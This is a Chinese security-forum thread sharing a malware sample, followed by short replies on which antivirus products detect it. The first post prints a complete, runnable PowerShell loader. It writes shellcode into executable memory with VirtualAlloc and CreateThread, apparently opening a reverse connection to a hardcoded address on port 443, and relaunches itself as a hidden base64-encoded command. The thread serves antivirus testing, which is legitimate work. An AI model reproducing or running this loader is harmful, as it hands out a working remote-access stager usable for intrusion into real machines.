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[病毒样本] 一个bat文件

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dej.sf
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发表于 2016-6-3 13:34:11 | 显示全部楼层
[mw_shl_code=shell,true]$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0xa9,0x71,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";$cmd = "-nop -noni -enc ";iex "& $x86 $cmd $e"}else{$cmd = "-nop -noni -enc";iex "& powershell $cmd $e";}[/mw_shl_code]

base64加密的已经玩烂了……

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轩夏
 楼主| 发表于 2016-6-3 13:42:39 | 显示全部楼层
skyboybone 发表于 2016-6-3 11:56
火绒
打开闪退,邪门
火绒不允许运行bat?开玩笑

这个需要win7,,你是啥?
轩夏
 楼主| 发表于 2016-6-3 13:43:28 | 显示全部楼层

发布者是我啊,它怎么能写未知呢
skyboybone
发表于 2016-6-3 14:07:44 | 显示全部楼层
轩夏 发表于 2016-6-3 13:42
这个需要win7,,你是啥?

不需要吧,同一个xp系统备份金山和360能打开,火绒就打不开。
轩夏
 楼主| 发表于 2016-6-3 14:09:09 | 显示全部楼层
skyboybone 发表于 2016-6-3 14:07
不需要吧,同一个xp系统备份金山和360能打开,火绒就打不开。

需要 powershell 如果没有就可能直接退了
skyboybone
发表于 2016-6-3 14:13:56 | 显示全部楼层
轩夏 发表于 2016-6-3 14:09
需要 powershell 如果没有就可能直接退了

哦,就是说金山和360放行也会闪退,那么只能说明火绒不是上来就拦截。
ggaking
发表于 2016-6-3 17:24:09 | 显示全部楼层
本帖最后由 ggaking 于 2016-6-4 10:30 编辑

QQ管家报毒。

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2314805817
发表于 2016-6-3 19:37:57 | 显示全部楼层
ESET miss
skyboybone
发表于 2016-6-3 20:04:43 | 显示全部楼层

第三方引擎报毒请说明
学雷锋做人
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发表于 2016-6-3 22:23:20 | 显示全部楼层

这个应该是最简单化的了
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